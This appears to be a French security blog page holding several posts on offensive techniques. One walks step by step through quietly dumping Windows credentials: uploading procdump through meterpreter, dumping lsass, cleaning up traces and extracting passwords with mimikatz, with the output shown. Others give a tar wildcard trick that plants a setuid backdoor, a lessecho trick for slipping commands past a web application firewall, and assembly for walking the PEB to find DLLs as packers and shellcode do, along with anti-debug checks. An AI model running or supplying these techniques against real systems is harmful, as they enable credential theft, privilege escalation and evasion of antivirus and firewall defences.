CISCO goes ASLR !!

Whow… Cisco sur certain routeur tournerai “déja” de l’asrl !! Well done.

http://www.cisco.com/web/about/security/intelligence/integrity-assurance.html#_Toc385320754

Posted in Asm, Network | Tagged , | Leave a comment

Dumper les creds en mémoire discrètement.

Comment dumper les crédentials windows en mémoire sans faire couiner aucun antivirus. prérequis évidemment, admin local.

 

Etape 1, uploader procdump de m. Russinovich. Procdump est FUD car signé par microsoft :)

meterpreter > upload /tmp/procdump.exe c:\
[*] uploading  : /tmp/procdump.exe -> c:\
[*] uploaded   : /tmp/procdump.exe -> c:\\procdump.exe

Etape 2, dumper le process lsass.exe

meterpreter > shell
Process 2964 created.
Channel 3 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\> procdump.exe -accepteula -ma lsass.exe c:\lsass.dmp

ProcDump v7.1 - Writes process dump files
Copyright (C) 2009-2014 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards

[00:50:53] Dump 1 initiated: c:\lsass.dmp
[00:50:54] Dump 1 complete: 45 MB written in 1.0 seconds
[00:50:54] Dump count reached.

C:\>exit
meterpreter > download c:\lsass.dmp
[*] downloading: c:lsass.dmp -> c:lsass.dmp
[*] downloaded : c:lsass.dmp -> c:lsass.dmp

 étape 3, cleanup

meterpreter > rm lsass.dmp
meterpreter > rm procdump.exe

 étape 4, Sur un tout autre ordinateur que vous contrôlez, sous windows et sans AV qui fait suer.

C:\…>mimikatz.exe "sekurlsa::minidump c:\lsass.dmp" sekurlsa::logonPasswords exit

Authentication Id : 0 ; 948221610 (00000000:3884b6aa)
Session : Interactive from 0
User Name : mydomainadmin
Domain : ACME-98E7776C60
SID : S-1-5-21-1499439441-4023663837-4023423450-1020
 msv :
 [00000002] Primary
 * Username : mydomainadmin
 * Domain : ACME-98E7776C60
 * LM : 08A068EB2E431EA878D28D900476A7E1
 * NTLM : 0229a7a4cd52062d9480fb4dbe41d41a
 * SHA1 : 21bd12dc183f740ee76f27b78eb39c8ad972a757
 wdigest :
 * Username : mydomainadmin
 * Domain : ACME-98E7776C60
 * Password : P@ssw0rd
 kerberos :
 * Username :mydomainadmin
 * Domain : ACME-98E7776C60
 * Password : P@ssw0rd
  ssp :
  credman :

Attention de respecter la même archi ou tournera le mimikatz; séparez 32 et 64 Bits… et séparez 2K XP 2K3 de Vista, 7, 8 et2K8.

Note: Merci au Gentilkiwi pour sa relecture attentive :)

Posted in Pentest, Windows | Tagged , | 4 Comments

Bref rien de neuf sous le soleil!

image

Posted in BlaBla | Tagged | Leave a comment

6 ans de reflexions…

  1. Faire du «fiotte manche».
  2. Le Push tue.
  3. RSA 1024/AES 256, seul les cons savent pourquoi.
  4. 300sec. C’est 5mn !
  5. C’est vrai que c’est fort vulnérable.
  6. Don’t feed the Google.
  7. Too much is not enough.
  8. Les gens qui vont dans le cloud vont apprendre ce que c’est que la latence.
  9. C’est pas en les bloquants qu’on les arrêtera.
  10. Il n’y a pas de secrets, Il n’y a que de la conf.
  11. 1440Min c’est un jour.
  12. C’est chiant de tester tant qu’on n’est pas en prod.
  13. Log + 2h = Maintenant.
  14. Dans le cloud, finis les traces.
  15. SQLi by Design (c).
  16. Même si tu ne la met pas, elle ne sert à rien.
  17. En fait quand on les regarde on les voit tout le temps.
Posted in BlaBla | 1 Comment

Allez on s’amuse un peu…

Vas y berthier fait moi rêver…

Orange vs Deloitte.

https://www.youtube.com/watch?v=l_XOrcBxy-E
https://www.youtube.com/watch?v=6uGQeA3x0bs

N’hésitez pas a commenter vos meilleurs moments :)…

Moi perso c’est de DDoS tout seul avec loic sur une IP Privée monitorée par Tshark du Deloitte.

Posted in BlaBla | Tagged | 2 Comments

* et hop ca root

On vient de me passer l’url d’un petit papier qui détaille les risques des wildcards en shell. Encore une vilaine méthode pour élever ses privilèges que je ne connaissais pas.

Petit exemple concret…  un backup est fait quotidiennement par root sur un répertoire.

tar -cf path/monbackup.tar *

Et bien si en tant que quidam on as l’accès en écriture dans ce répertoire, a nous le root.  Il suffit de poser quelques fichiers bien sentis. Le wildcard va les déposer devant la commande tar, et ils seront interprétés comme des arguments. Checkpoint dans tar peut etre détourné afin de lancer le script de son choix.

Avant de vous laisser vous rendre dingue, petit help; Sachez que le paramètre «–» utilisé tout seul désactive la lecture des paramètres qui viennent après. on peut donc créér le tout avec :

$ touch -- '--checkpoint-action=exec=sh install_suidbackdoor.sh' '--checkpoint=1'

On se retrouve avec deux fichier étranges.

-rw-r--r-- 1 thanat0s thanat0s    0 Jun 26 06:31 --checkpoint=1
-rw-r--r-- 1 thanat0s thanat0s    0 Jun 26 06:31 --checkpoint-action=exec=sh install_suidbackdoor.sh

Reste à construire le 3eme fichier

$ echo "cp /bin/bash /tmp/sh" > install_suidbackdoor.sh 
$ echo "chmod 4755 /tmp/sh" >> install_suidbackdoor.sh 

Quand tar sera exécuté, notre scrip install_suidbackdoor.sh aussi. Et la backdoor sera en place.

# tar cf /tmp/monbackup.tar *
# ls /tmp/sh -l
-rwsr-xr-x 1 root root 975488 Jun 26 09:59 /tmp/sh

Bon… C’est un exemple, en fonctions des OS (genre ubuntu/debian), ne venez pas vous plaindre, bash droppera généralement le setuid. Soyez inventifs, echo “quidam” dans sudoers ca passe aussi.

C’est d’une certaine violence, il existe des tricks à wildcards pour chmod, tar, rsync. On remercie léon de son Paper que je vous invite à lire.

http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

Posted in Hacking | Tagged , , | 1 Comment

INJECTION – WAF : 1 – 0

Petit truc pour injecter de la commande avec un Waf négatif devant;

En reviewant la liste plus qu’exhaustive des injections interdites par les signatures d’un WAF (Web Application Firewall) commercial. Et quand je dit exhaustive je pese mes mots, le bignou interdit même emacs, nano et vi (non mais sérieux ?? Qu’on me briefe sur un use case). Je suis tombé sur un binaire linux. Dispo dans /bin que ce soit chez Red-Hat, SuSe ou Debian. il se nomme lessecho. Évidemment il est ignoré de toutes signatures et jusqu’a hier, il m’était aussi inconnu. Lessecho est une commande qui a une petite particularité intéressante pour bypasser tout waf negatif (un Waf qui match des mots clef quoi).

lessecho permet d’ajouter des quotes autour d’un mot.

$ lessecho -a prout
"prout"

mais surtout lessecho permet de choisir ces quotes.

$ lessecho -a -oX -cY prout
XproutY

Le plus vifs d’entre vous auront déja trouvé le moyen de bypasser les signatures de leur waf si “$”,”(“,”)” et ” ” passent. Attention, moment de fiertée ;

$ $(lessecho -a -ou -ce nam) -a
Linux Anger 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux

L’autre solution étant la quote d’exécution.

$ `lessecho -a -ou -ce nam` -a
Linux Anger 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux

Pour les moins vifs;  ce lessecho met “u” devant, “e” derriere le mot nam. Ca fait la commande “uname” qui passe le waf comme une fleur. Car la signature qui cherche “uname” ne trouve jamais la string.

$ lessecho -a -ou -ce nam
uname

Encore une nouvelle raison de changer d’idée pour ce qui pensent que le modèle négatif est suffisant.

Posted in WebSecurity | Tagged , | 2 Comments

Sinon y a Google translate quoi.

J’ai reçu un commentaire avec une traduction pas piquée des hannetons. Je pensais que c’était de l’humour mais je la soupçonne d’être un spam :) Trop drôle…

Screen Shot 2014-06-18 at 7.34.38

Sérieux, on s’applique un peu M. Spammeurs SVP !

 

Posted in BlaBla | Leave a comment

Packer sans ta mère, Level II, Prérequis III : LoaderDATA

On va voir aujourd’hui un grand classique des packer et aussi des shellcodes; Comment trouver et parser la liste des DLL afin de trouver le début d’une DLL mappée en mémoire;

Désormais on sait que grace au PEB + 0xC on peut trouver l’emplacement de la structure Loader Data.

Screen Shot 2014-05-24 at 9.43.52

 

Loader Data nommé aussi PEB_LDR_DATA va contenir la liste des DLL et a quel offset mémoire trouver les DLL de notre process. Mais si on regarde à cet emplacement on tombe sur une structure fort déroutante (Moi je vous jure, j’ai mis du temps à comprendre et avec le livre de  Sir Russinovich sur les genoux !). Cette structure ne propose pas une seul liste de DLL chargée mais 3 listes. Ces listes utilisent un format de liste chainée.  Ce que chez M. Windows on nomme des LIST_ENTRY.

Il y a 3 listes disponible concernant les DLL en mémoire ;

  • La liste de DLL chargée par windows au démarrage de l’exécutable (InLoadOrderModuleList)
  • La liste de DLL actuellement en mémoire. (InMemoryOrderModuleList)
  • La liste de DLL initialisée (InInitialisationOrderModuleList)

Je vous l’accorde pour l’instant c’est pas trop parlant;  Autant les deux premier on comprend bien la différence, si un exécutable après initialisation charge avec la fonctions LoadLibrary une nouvelle DLL on ne la retrouvera pas dans la première liste. La 3eme liste en fait ne comprend pas notre exécutable lui même. C’est donc équivalent à la seconde option sans notre propre process, car oui le listing des DLL en mémoire contient notre propre process.

Bon ça c’était la partie facile. Voyons ces listes chainées. Une liste chainée utilise deux pointeurs FLINK (Forward Link) et BLINK (BackWard link). Et c’est à partir de là qu’il faut sortir un schéma. Voici un petit exemple de cette structure. Cet exemple contient 3 records.

list_entry

Personne est tombé dans les pommes ? J’ai un ancien collègue qui aurait probablement éructé un “C’est quoi c’te structure de Nazi”. Alors petite explication. Chaque Flink donne l’adresse du Flink suivant, idem pour le Blink qui donne lui l’adresse du Blink précédent. Les deux premiers records sont les header il n’ont pas de data, seul le prochain Flink vous permettra d’arriver à la structure qui nous intéresse.

Donc si on veut voir la structure 2, il faut lire le 1re Flink, puis le Second, et enfin sous le Flink on trouvera le record qui vous intéresse.Mais il reste une petite subtilitée… Dans notre cas, Il y a 3 listes, donc chaque entrée comporte en header 3 couples de flink/blink. Donc en fait pour une entrée la structure est :

Diagram2

Donc si on suis les flink de InLoadOrderModuleList notre structure sera 0X18 bytes plus loin. Si on suit les Flink de InInitialisationOrderModuleList, la structure n’est qu’a 0x8 bytes plus loin. Funny n’est-ce pas.

Ha ! Et en plus quand on cherche quelque chose, il faut retenir l’offset du premier Flink des headers sous peine de tourner en boucle Ad Vitam. Donc pour aider à la comprenette, prenons un exemple. Dans cet exemple 32 bits, le Loader data d’après le PEB est situé en 0x211EA0. Le format de loader data au final c’est :

  • 0x0 Dword Lenght (Bullshit, on s’en sert pas)
  • 0x4 Dword Unused
  • 0x8 Dword SSHandle (On s’en fout aussi)

Et on attaque les fameuses list entry.

  • 0x0C List_Entry (Donc 2 Dword, le Flink et le Blink) InLoadOrderModuleList
  • 0x14 List_Entry InMemoryOrderModuleList
  • 0x1C List_Entry InInitialisationOrderModuleList

blinkheader

Ok donc admettons que l’on souhaite voir la première entrée de  la liste InInitialisationOrderModuleList, le Flink de ce header nous informe d’allez voir le premier record en 0x241F58 (regardez en 0x1c). Je suis en train de suivre le flink de la 3eme liste donc j’ai ma structure si chèrement désirée en flink + 0x8. Et devinez  ce qu’on y trouve…

Victoire enfin une structure tant recherchée. En 241F58 j’ai bien le flink suivant, mais surtout ;

module

On trouve en 0X241f60 l’offset en mémoire de notre image PE loadée de ntdll.dll. Je sais que c’est ntdll.dll car en 0x241F78 j’ai l’offset d’une string unicode donnant de nom de la DLL.

cette structure, Qui démarre au flink de la 1ere listes se nomme LDR_MODULE. En deux mots pour les packers il y a deux trucs juteux

  • En 0x18 la base adresse, ici en 0x24160 qui nous dit que cette dll est loadée en 0x7C900000
  • En 0x30 un pointeur sur la chaine unicode du nom de la DLL (ici en 0x241f78 qui pointe vers 0x7C92040c)

Alors après il est rare que les packers testent le nom de la dll directement. Soit certains savent que kernel32.dll c’est toujours la seconde et que la 1ere c’est toujours ntdll.dll. Soit ils utilisent un genre de hash du pauvre pour retrouver le nom de la DLL.

Petit exemple de “Use the force luke” tiré d’un malware quelconque..

push    30h
pop     ecx
mov     esi, fs:[ecx]   ; PEB (FS:[0x30])
mov     esi, [esi+0Ch]  ; ESI = LoaderData
mov     esi, [esi+1Ch]  ; ESI = Flink InInitialisationOrderModuleList
mov     ebp, [esi+8]    ; EBP = Base addresse de ntdll
mov     ds:ntdllbase, ebp

Un autre générique et chiadé a moi :) (Oui je t’ai vu toi dans le fond ricaner, on peut faire mieux)

; Find DLL , à apeller avec le hash convoité
; Return la base addresse dans EAX

HASH_SFT equ 0x7
HASH_NTDLL.DLL equ 0xBC1A1445
HASH_KERNEL32.DLL equ 0xA9B35F35
HASH_USER32.DLL equ 0x2D37FEFB

  push ebp
  mov  ebp,esp
  mov  ebx, [fs:0x30]  	  ;  pointer sur PEB  fs:0x30
  mov  ebx, [ebx+0x0C]    ;  pointeur sur  PEB->Ldr
  mov  edx, ebx+0x14      ; addr du 1er flink... alias le point de sortie a sauver   
  mov  ebx, [ebx+0x14]    ; flink premier module de la liste InMemoryOrder 
  xor  ecx,ecx
  xor  eax,eax
  jmp .startlist
.nextmod:
  cmp	ebx,edx
  je .tfini
.startlist:
  mov  esi, [ebx+0x28]    ;  pointeur sur la liste (unicode)
.readchar:
  lodsw			  ; lis un Word (unicode), x00\Char
  test al,al              ; Fin de la string ?
  jz .stopreadchar 
  cmp al,0x60             ; Si minuscule convert to Majuscule, 
  jbe .stoschar
  sub al,0x20             ; pass en majuscule
.stoschar
  xor	cl,al             ; Hash du pauvre, rolxor
  rol ecx,HASH_SFT
  jmp .readchar
.stopreadchar:
  cmp	 ecx,[ebp+0x8]    ; Parametre 1, Hash DLL Name
  je .tfinifound
  mov ecx,0		  ; Reset the hash
  mov ebx, [ebx]          ; choppe le module suivant
  mov esi, [ebx+0x4]      ; module base address
  jmp	.nextmod
.tfinifound
  mov eax, [ebx+0x10]     ; module base address
  jmp	.tgohome
.tfini:
  mov	eax,0 		; pas trouvé l'offset return 0
.tgohome:
  mov esp,ebp
  pop ebp
  retn 4

et un autre petit exemple “Use the force en 64 Bits”. Tout est pareil, sauf la taille des adresse évidemment ce qui décale toute notre affaire.

push 60h           
pop rcx
mov rax,[gs:rcx]   ; Peb
mov rax,[rax+18h]  ; LoaderData
mov rsi,[rax+30h]  ; Ldr.InInitializationOrderModuleList
lodsq              ; skip ntdll.dll
mov rbx,[rax+10h]  ; kernel32.dll base

Et voila, la structure est bien chelou mais désormais vous êtes aptes à retrouver l’offset de n’importe quelle DLL mappée en mémoire et/ou détecter cette action dans le packer de votre choix.

a+

Posted in Asm, Malware, Reverse, Windows | Tagged , , , , , | Leave a comment

Packer sans ta mère level II prerequis II le PEB

Il y a 5 mois que je vous ai laissé tomber au milieu de cette série de post. Je me rend compte qu’il faut y avancer un peu car sinon tenter d’expliquer le dernier packer au plus grand nombre sans perdre quelques personne ne sera pas aisé.

On avait précédemment regardé comment était emmanché un exécutable dans la mémoire d’un Windows et survolé le concept d’EAT et IAT. Aujourd’hui on va voir une structure rigolote et indispensable le PEB.

Le PEB alias Process Environnement Bloc est une structure dite opaque (en clair peu documenté officiellement, voir documentée sur le tard, où normalement un programme normal est pas supposé s’y pointer).

C’est un pan de mémoire maintenu par windows pour chacun des process et qui va donner des informations vaste et variées. On peut par exemple trouver l’offset qui nous dira où est mappé en mémoire notre exécutable. On peut aussi savoir si le processe est débuggé ou pas. etc…

L’offset de la PEB  est toujours disponible en regardant dans FS[0x30]  en 32 bits ou GS[0x60] en 64 bits. A chaque instant il suffit de lire ce dword/qword et on connait l’adresse du PEB. Généralement en 32bits vers 7FFDxxxx tachez d’arriver à repérer un offset de cette trempe.

Microsoft documente un peu le PEB dans son MSDN mais c’est assez minable. Heureusement en 32 bits Ollydbg connait cette structure à fond. Elle est directement visible dans Olly depuis la fenêtre de memory map (Alt+M).

Screen Shot 2014-05-24 at 0.16.11

Et il sait aussi décoder cette structure ce qui est TRÈS pratique.

Screen Shot 2014-05-24 at 0.19.31

Donc que peut t’on faire concrètement avec cet structure ? Premièrement de l’anti-debug avec l’info qui traine dans ce PEB. Il y a deux grand classique;

mov ebx,fs[0x30] ; PEB offset dans EBX
cmp byte ptr [ebx+2], 0 ; Beingdebugged = False ? 
jne .processisdebugged  ; Sinon débuggé !!!

C’est pareil que d’appeler la fonction de kernel32 IsDebuggerPresent, sauf que là, pas besoin de la déclarer une fonction et pas besoin non plus d’appeler une fonction ! tout n’est qu’access mémoire.

Le second anti-débug possible est plus étrange;

mov ebx,fs[0x30] ; PEB offset dans EBX
cmp byte ptr [ebx+0x68], 0x70 ; les Debug Flags sont là ? 
je .processisdebugged  ; Sinon débuggé !!!

Celui la se base sur le fait qu’un process débuggé à normalement 3 flags de mis dans le PEB

  • 0x10 pour HEAP_ENABLE_TAIL_CHECK
  • 0x20 pour HEAP_ENABLE_FREE_CHECK
  • 0x40 pour HEAP_VALIDATE_PARAMETERS

Pour être au top sur ces anti debug, je vous invite a lire le chapitre 2.1 et 2.2 de “The Art of Unpacking” de Mark Vincent Yason;

Bien sur généralement l’accès à fs[0x30] est caché de toutes les façons du monde, petit exemple :

push ss
mov eax, 6  
push fs
shl eax, 3   ; EAX = 6*8 = 0x30
pop ss
mov ebx,ss[eax] ; ebx = PEB
pop ss

On peut trouver aussi l’offset du PEB par une autre méthode, il est laissé par windows dans le registre EBX à l’entry point d’un programme x32.

Mais le PEB ne sert pas qu’a tester de debugging;

Il contient des infos sur le nombre de CPU (si c’est 1.. en 2014, c’est probablement une VM !). Il peut servir pour déterminer la version de windows(+0xA4 et +0xA8), il contient l’adresse de base de l’exécutable (+0x8) et enfin l’adresse d’une structure nommée LoaderData ou PPEB_LDR_DATA (en +0xC)

Cette dernière structure va nous permettre de retrouver l’offset où est mappé en mémoire les DLL nécessaire à notre exécutable. (A minima kernel32 et ntdll).

Vous l’aurez compris grâce à cela, on va pouvoir parser l’EAT de ces DLL et retrouver les offset des fonctions en mémoire afin de pourvoir les appeller sans avoir à les déclarer dans l’IAT de notre programme, bref un GetProcAddresseA mais totalement discret.

On verra cela la prochaine fois. mais retenez, si vous voyez passer un FS[0x30] ou un GS[0x60] Inquiétez vous !

Posted in Reverse, Windows | Tagged , , | 2 Comments